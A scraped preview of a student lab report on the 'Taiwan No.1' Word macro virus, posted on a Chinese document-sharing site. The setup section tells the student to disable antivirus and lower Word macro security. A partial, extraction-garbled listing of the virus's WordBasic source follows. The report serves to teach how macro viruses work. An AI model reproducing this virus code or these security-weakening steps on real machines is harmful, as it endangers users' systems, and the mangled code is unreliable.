第一范文网 - 专业文章范例文档资料分享平台

计算机病毒原理-台湾1号病毒实验报告 - 图文

来源:用户分享 时间:2020-06-22 本文由街风晚凉 分享 下载这篇文档 手机版
说明:文章内容仅供预览,部分内容可能不全,需要完整文档或者需要复制内容,请下载word后使用。下载word有问题请添加微信号:xxxxxx或QQ:xxxxxx 处理(尽可能给您提供完整文档),感谢您的支持与谅解。

计 算 机 病 毒

姓 名:学 号: 老 师:日 期:

实验报告

一. 实验目的

台湾1号病毒是一种破坏力较大的宏病毒!Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过台湾1号病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。

二. 实验内容

1. macro virus中的内容

2.计算机病毒篇 ---->计算机宏病毒

三. 实验环境

1. macro virus

硬件设备:局域网,终端PC机。 系统软件:Windows系列操作系统 支撑软件:Word 2003

软件设置:关闭杀毒软;打开Word 2003,在工具?宏?安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问. 实验环境配置如下图所示:

受感染Word文档受感染终端被感染终端

2.计算机宏病毒

硬件设备:部署 WIN2003 系统的PC 机一台 软件工具:Office word2007

四.实验步骤及截图 台湾1号病毒代码

Taiwan No.1 病毒原始码 Dim Shared nm(4) Sub MAIN DisableInput 1

If Day(Now()) = 13 Then try:

On Error Goto 0 On Error Goto try test = - 1 con = 1 tog$ = \ i = 0

While test = - 1 For i = 0 To 4

nm(i) = Int(Rnd() * 10000) con = (con * nm(i)) If i = 4 Then

tog$ = tog$ + Str$(nm(4)) + \ Goto beg End If

tog$ = tog$ + Str$(nm(i)) + \ Next i

rem 随机选出四个千位数, 以便等一下的游戏

beg: Beep

rem 电脑发出\哔 \一声

ans$ = InputBox$(\今天是 \跟你玩一个心算游戏\ + Chr$(13) + /

\若你答错,只好接受震撼教育..............\ tog$, \台湾 NO.1 Macro Virus\ rem 开个对话盒, 以便输入解答用

If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then MsgBox \恭贺你答对了,按确定就告诉你想知道的....\ \台湾 NO.1 Macro Virus\ FileNewDefault CenterPara

FormatFont .Font = \细明体\ Beep

Insert \何谓巨集病毒?\ InsertPara

搜索“diyifanwen.net”或“第一范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读,第一范文网,提供最新幼儿教育计算机病毒原理-台湾1号病毒实验报告 - 图文 全文阅读和word下载服务。

计算机病毒原理-台湾1号病毒实验报告 - 图文 .doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
本文链接:https://www.diyifanwen.net/wenku/1093571.html(转载请注明文章来源)
热门推荐
Copyright © 2018-2022 第一范文网 版权所有 免责声明 | 联系我们
声明 :本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,请在一个月内通知我们,我们会及时删除。
客服QQ:xxxxxx 邮箱:xxxxxx@qq.com
渝ICP备2023013149号
Top